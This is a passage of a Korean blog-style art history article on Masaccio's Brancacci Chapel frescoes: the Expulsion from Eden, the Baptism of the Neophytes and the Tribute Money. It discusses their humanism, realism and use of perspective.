๋งˆ์‚ฌ์ดˆ๋Š” ๊ทธ๋™์•ˆ ๋ชจ๋“  ๊ฒƒ์€ ์‹ ์„ ์ œ1์˜ ๊ธฐ์ค€์œผ๋กœ ์‚ผ์•„์•ผ ํ•œ๋‹ค๋Š” ์ค‘์„ธ ํ—ค๋ธŒ๋ผ์ด์ฆ˜์„ ๊ฑฐ๋ถ€ํ•˜๊ณ  ์•„๋‹ด๊ณผ ์ด๋ธŒ์˜ ์ธ๊ฐ„์ ์ธ ๋ฉด๋ชจ๋ฅผ ๊ทธ๋Œ€๋กœ ํ‘œํ˜„ํ–ˆ๋‹ค. ์ธ๊ฐ„์„ ์ œ1์˜ ๊ธฐ์ค€์œผ๋กœ ์‚ผ์•˜๋˜ ํ—ฌ๋ฆฌ๋‹ˆ์ฆ˜์˜ ๋ถ€ํ™œ์ธ ๊ฒƒ์ด๋‹ค. ๊ทธ๋Ÿฌ๋ฏ€๋กœ ๋ฅด๋„ค์ƒ์Šค์ด๋‹ค.

๋งˆ์‚ฌ์ดˆ๋Š” ๋‚™์›์—์„œ ์ซ’๊ฒจ๋‚˜๋Š” ์•„๋‹ด๊ณผ ์ด๋ธŒ์˜ ์ ˆ๋ง์ ์ž„ ์‹ฌ์ •๊ณผ ์ˆ˜์น˜์‹ฌ์„ ์ ๋‚˜๋ผ๋ผํ—ฅ ํ‘œํ˜„ํ•œ ๊ฒƒ์ด ์•„๋‹๊นŒ ์‹ถ๋‹ค.

๋ถ€๋ž‘์นด์น˜ ์ฑ„ํ”Œ(Brancacci Chapel)์˜ ์ดˆ๋งˆ์‚ฌ(Masaccio) ์ž‘ํ’ˆ, ๋‚™์›์—์„œ ์ถ”๋ฐฉ๋˜๋Š” ์•„๋‹ด๊ณผ ์ด๋ธŒ(The Expulsion from the Garden of Eden)
๋ถ€๋ž‘์นด์น˜ ์ฑ„ํ”Œ(Brancacci Chapel)์˜ ์ดˆ๋งˆ์‚ฌ(Masaccio) ์ž‘ํ’ˆ, ๋‚™์›์—์„œ ์ถ”๋ฐฉ๋˜๋Š” ์•„๋‹ด๊ณผ ์ด๋ธŒ(The Expulsion from the Garden of Eden)

4.2. ์„ธ๋ก€๋ฅผ ๋ฒ ํ”„๋Š” ์„ฑ ๋ฒ ๋“œ๋กœ(Baptism of the Neophytes)

๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ๋งˆ์‚ฌ์ดˆ๊ฐ€ ๊ทธ๋ ธ๋‹ค๊ณ  ์ถ”์ •๋˜๋Š” ์„ธ๋ก€๋ฅผ ๋ฒ ํ”„๋Š” ์„ฑ ๋ฒ ๋“œ๋กœ(Baptism of the Neophytes)๋„ ๋ฅด๋„ค์ƒ์Šค ์ •์‹ ์„ ์ž˜ ๋ณด์—ฌ์ฃผ๋Š” ๊ทธ๋ฆผ์ด๋‹ค.

์„ธ๋ก€๋ฅผ ๋ฒ ํ”„๋Š” ์„ฑ ๋ฒ ๋“œ๋กœ๋Š” ๋‘๊บผ์šด ๊ฒจ์šธ ์˜ท์„ ์ž…๊ณ  ์žˆ๋‹ค. ์„ธ๋ก€๋ฅผ ๋ฐ›๋Š” ๋‚จ์ž๋Š” ํ๋ฅด๋Š” ๋ฌผ์— ๋ฌด๋ฆŽ์„ ๋Š๊ณ  ๊ณ ๊ฐœ๋ฅผ ์ˆ™์ด๊ณ  ์žˆ๋‹ค. ๋ฒ—๊ณ  ์žˆ๋Š” ๊ทธ์˜ ๋ชธ์€ ์ถ”์œ„๋กœ ์ž”๋œฉ ์›€์ธ ๋ ค์ ธ์žˆ๋‹ค. ์„ธ๋ ˆ ๊ณผ์ •์œผ๋กœ ์ฐจ๊ฐ€์šด ๋ฌผ์„ ๋’ค์ง‘์–ด ์“ฐ๋ฉด์„œ ์ถ”์œ„์— ๋ฐ”๋“ค๋ฐ”๋“ค ๋”๋Š” ๋ชจ์Šต์ด ๋ฆฌ์–ผํ•˜๋‹ค.
๊ทธ ๋’ค์—์„œ ๊ธฐ๋‹ค๋ฆฌ๋Š” ์‚ฌ๋žŒ์€ ์ถ”์œ„๋กœ ๋ฐ”๋“ค๋ฐ”๋“ค ๋–จ๋ฉด์„œ ์• ์ฒ˜๋Ÿฝ๊ฒŒ ์„ฑ ๋ฒ ๋“œ๋กœ๋ฅผ ๋ฐ”๋ผ๋ณด๊ณ  ์žˆ๋‹ค.

์—ฌ๊ธฐ์„œ๋Š” ์•„๋ฌด๋ฆฌ ์„ฑ ๋ฒ ๋“œ๋กœ๊ฐ€ ๊ฑฐ๋ฃฉํ•œ ์„ธ๋ก€๋ฅผ ์ฃผ๊ณ  ์žˆ์ง€๋งŒ ์ถ”์šด ๊ฒจ์šธ์— ์•Œ๋ชธ์œผ๋กœ ์ฐฌ๋ฌผ์„ ๋’ค์ง‘์–ด ์“ฐ๋Š” ์‚ฌ๋žŒ์„ ์ถ”์œ„๋กœ ๋ถ€๋“ค๋ถ€๋“ค ๋œ๊ธฐ ๋งˆ๋ จ์ด๋ผ๋Š” ์ธ๊ฐ„์˜ ์•„์ฃผ ์›์ดˆ์ ์ธ ๊ฐ์ •๊ณผ ๋ฐ˜์‘์„ ๊ทธ๋Œ€๋กœ ์‚ฌ์‹ค์ ์œผ๋กœ ํ‘œํ˜„ํ•˜๊ณ  ์žˆ๋‹ค.

์ด๋Ÿฌํ•œ ํ‘œํ˜„์€ ๊ฐํžˆ ์„ฑ ๋ฒ ๋“œ๋กœ๊ฐ€ ์„ธ๋ก€๋ฅผ ์ฃผ๋Š”๋ฐ ์ด๋Ÿฐ ๋ฐ˜์‘์„ ๋ณด์ธ๋‹ค๊ณ  ์‹ ์„ฑ ๋ชจ๋…์œผ๋กœ ๋ชฐ๋ฆด๋งŒํ•œ ์ผ์ด์ง€๋งŒ ๋งˆ์‚ฌ์ดˆ๋Š” ์•„๋ฌด๋ฆฌ ์„ฑ ๋ฒ ๋“œ๋กœ๋ผ๊ณ  ํ•˜๋“œ๋ผ๋„ ์ถ”์œ„์•ž์— ์–ด์ฉ” ์ˆ˜ ์—†๋Š” ์ธ๊ฐ„ ๋ณธ์—ฐ์˜ ๋ชจ์Šต์„ ๊ทธ๋Œ€๋กœ ๊ทธ๋ ค ๋‚ด์—ˆ๋‹ค.

๋ถ€๋ž‘์นด์น˜ ์ฑ„ํ”Œ(Brancacci Chapel)์˜ ์ดˆ๋งˆ์‚ฌ(Masaccio) ์ž‘ํ’ˆ, ์„ธ๋ก€๋ฅผ ๋ฒ ํ”„๋Š” ์„ฑ ๋ฒ ๋“œ๋กœ(Baptism of the Neophytes)
๋ถ€๋ž‘์นด์น˜ ์ฑ„ํ”Œ(Brancacci Chapel)์˜ ์ดˆ๋งˆ์‚ฌ(Masaccio) ์ž‘ํ’ˆ, ์„ธ๋ก€๋ฅผ ๋ฒ ํ”„๋Š” ์„ฑ ๋ฒ ๋“œ๋กœ(Baptism of the Neophytes)

4.3. ์„ธ๊ธˆ์„ ๋ฐ›์นจ(Payment of the Tribute Money)

“๋‚™์›์—์„œ ์ถ”๋ฐฉ๋˜๋Š” ์•„๋‹ด๊ณผ ์ด๋ธŒ” ๊ทธ๋ฆผ ์˜†์—๋Š” ๋งˆ์‚ฌ์ดˆ์˜ ๊ฑธ์ž‘์ด๋ผ ๋ถˆ๋ฆฌ์šฐ๋Š” “์„ธ๊ธˆ์„ ๋ฐ›์นจ”๋ฆฌ๋ผ๋Š” ๊ทธ๋ฆผ์ด ์žˆ๋‹ค.

์„ฑ์„œ ๋งˆํƒœ๋ณต์Œ 17์žฅ 24์ ˆ์˜ ์ด์•ผ๊ธฐ๋ฅผ ์‹œ๊ฐ์ ์œผ๋กœ ํ‘œํ˜„ํ•œ ๊ทธ๋ฆผ์ด๋‹ค.

๋งˆํƒœ๋ณต์Œ์—์„œ๋Š” ์–ด๋Š๋‚  ๋กœ๋งˆ ๊ด€๋ฆฌ๊ฐ€ ์ง€๋‚˜๊ฐ€๋˜ ์˜ˆ์ˆ˜์—๊ฒŒ ์„ธ๊ธˆ์„ ์š”๊ตฌํ•˜์ž, ์ œ์ž๋“ค์€ ๋ฐ˜๋ฐœํ•˜์ง€๋งŒ ์˜ˆ์ˆ˜๋Š” ์ด๋ฅผ ๋ง๋ฆฌ๋ฉฐ ๋ฒ ๋“œ๋กœ์—๊ฒŒ ๊ฐ•๊ฐ€์—์„œ ๋ฌผ๊ณ ๊ธฐ๋ฅผ ์žก์œผ๋ฉด ๊ทธ ๋ฌผ๊ณ ๊ธฐ ์ž…์•ˆ์— ๋™์ „์ด ์žˆ์„ ๊ฒƒ์ด๋‹ˆ ๊ทธ ๋™์ „์œผ๋กœ ์„ธ๊ธˆ์„ ์ง€๋ถˆํ•˜๋ผ๊ณ  ์ด์•ผ๊ธฐ ํ•œ๋‹ค. ๋ฒ ๋“œ๋กœ๊ฐ€ ๋ฌผ๊ณ ๊ธฐ๋ฅผ ์žก์•„ ๋ฌผ๊ณ ๊ธฐ ์ž…์•ˆ์„ ๋ณด๋‹ˆ ๋™์ „์ด ์žˆ์–ด ๊ทธ๊ฑธ๋กœ ์„ธ๊ธˆ์„ ๋ƒˆ๋‹ค๊ณ  ๊ธฐ๋กํ•˜๊ณ  ์žˆ๋‹ค.

๋งˆ์‚ฌ์ดˆ์˜ ๊ทธ๋ฆผ์—์„œ ์ด ์ด์•ผ๊ธฐ๋Š” ์„ธ๊ฐ€์ง€ ์žฅ๋ฉด์œผ๋กœ ๋‚˜๋ˆ„์–ด์ ธ ํ‘œํ˜„๋˜๊ณ  ์žˆ๋‹ค.

  • ๊ฐ€์šด๋ฐ๋Š” ์˜ˆ์ˆ˜์™€ ์‚ฌ๋„๋“ค์ด ๋ชจ์—ฌ์žˆ๋Š” ์žฅ๋ฉด์—์„œ ์œ ๋Œ€์ธ ๊ด€๋ฆฌ๊ฐ€ ์˜ˆ์ˆ˜์—๊ฒŒ ์„ธ๊ธˆ์„ ๋ฐ”์น˜๋„๋ก ์š”๊ตฌํ•˜๊ณ  ์žˆ๊ณ ,
  • ์™ผ์ชฝ์—๋Š” ์•„๋งˆ ์˜ˆ์ˆ˜์˜ ์ง€์‹œ๋ฅผ ๋ฐ›์•„ ์„ฑ ๋ฒ ๋“œ๋กœ๊ฐ€ ๊ฐˆ๋ฆด๋ฆฌ ํ˜ธ์ˆ˜์—์„œ ์žก์€ ์ƒ์„ ์˜ ์ž…์—์„œ ๋™์ „์„ ๊บผ๋‚ด๋Š” ์žฅ๋ฉด์ด๊ณ ,
  • ์˜ค๋ฅธ์ชฝ์€ ์„ฑ ๋ฒ ๋“œ๋กœ๊ฐ€ ๊ด€๋ฆฌ์—๊ฒŒ ์„ธ๊ธˆ์„ ๊ฑด๋‚ด๊ณ  ์žˆ๋Š” ์žฅ๋ฉด์ด๋‹ค.
๋ถ€๋ž‘์นด์น˜ ์ฑ„ํ”Œ(Brancacci Chapel)์˜ ๋งˆ์‚ฌ์ดˆ(Masaccio) ์ž‘ํ’ˆ, ์„ธ๊ธˆ์„ ๋ฐ›์นจ(Payment of the Tribute Money, 1425๋…„ ๊ฒฝ)
๋ถ€๋ž‘์นด์น˜ ์ฑ„ํ”Œ(Brancacci Chapel)์˜ ๋งˆ์‚ฌ์ดˆ(Masaccio) ์ž‘ํ’ˆ, ์„ธ๊ธˆ์„ ๋ฐ›์นจ(Payment of the Tribute Money, 1425๋…„ ๊ฒฝ)

์ด ๊ทธ๋ฆผ์—์„œ ๋งˆ์‚ฌ์ดˆ๋Š” ์›๊ทผ๋ฒ•์„ ์ ์šฉํ•ด ๊ฐ€๊นŒ์ด ์žˆ๋Š” ์‚ฐ์€ ์ง™๊ฒŒ, ๋’ค๋กœ ๊ฐˆ์ˆ˜๋ก ์˜…๊ฒŒ ํ‘œํ˜„ํ•˜๊ณ  ์žˆ์œผ๋ฉฐ ๋‚˜๋ฌด๋„ ์•ž์€ ํฌ๊ฒŒ ๋’ค๋กœ ๊ฐˆ์ˆ˜๋ก ์ž‘๊ฒŒ ๊ทธ๋ฆฌ๊ณ  ์žˆ๋‹ค.

๋˜ํ•œ ๋จธ๋ฆฌ์˜ ๋†’์ด๋ฅผ ๋‚˜๋ž€ํžˆ ๋งž์ถ”๊ณ  ๊ฑฐ๊ธฐ์— ๋งž์ถ”์–ด ์‚ฌ๋žŒ์„ ๊ทธ๋ฆฌ๋Š” “Isokephalie ๊ธฐ๋ฒ•”์„ ์‚ฌ์šฉํ–ˆ๋‹ค. ์ด ๊ธฐ๋ฒ•์€ ๊ธฐ์กด ๋ฐœ์˜ ์œ„์น˜๋ฅผ ๋งž์ถ”๊ณ  ์‚ฌ๋žŒ์˜ ํ‚ค๋ฅผ ๋‹ค๋ฅด๊ฒŒ ํ‘œํ˜„ํ•˜๋Š” ๊ธฐ๋ฒ•์— ๋น„ํ•ด์„œ ๋“ฑ์žฅ์ธ๋ฌผ์„ ์œ„๋Œ€ํ•˜๊ณ  ๋ณด์ด๋Š” ํšจ๊ณผ๋ฅผ ์ค€๋‹ค๊ณ  ํ•œ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ์ด ๊ทธ๋ฆผ์— ๋“ฑ์žฅํ•˜๋Š” ์‚ฌ๋žŒ๋“ค์„ ๋ณด๋ฉด ์–ผ๊ตด ํ‘œ์ •, ๋จธ๋ฆฌ ์Šคํƒ€์ผ, ๋ˆˆ๋น› ๋“ฑ๋“ฑ์ด ์„œ๋กœ ๋‹ค๋ฅด๊ฒŒ ํ‘œํ˜„ํ•˜๊ณ  ์žˆ๋Š”๋ฐ ์—ฌ๊ธฐ์—์„œ ํ•œ๋ฉด ํ•œ๋ช… ์ธ๋ฌผ์„ ์†Œ์ค‘ํ•˜๊ฒŒ ํ‘œํ˜„ํ•˜๋Š” ์ธ๋ณธ์ฃผ์˜์ ์ธ ์„ฑํ–ฅ์„ ๋“ค์–ด๋ƒˆ๋‹ค๋Š” ํ‰๊ฐ€์ด๋‹ค.

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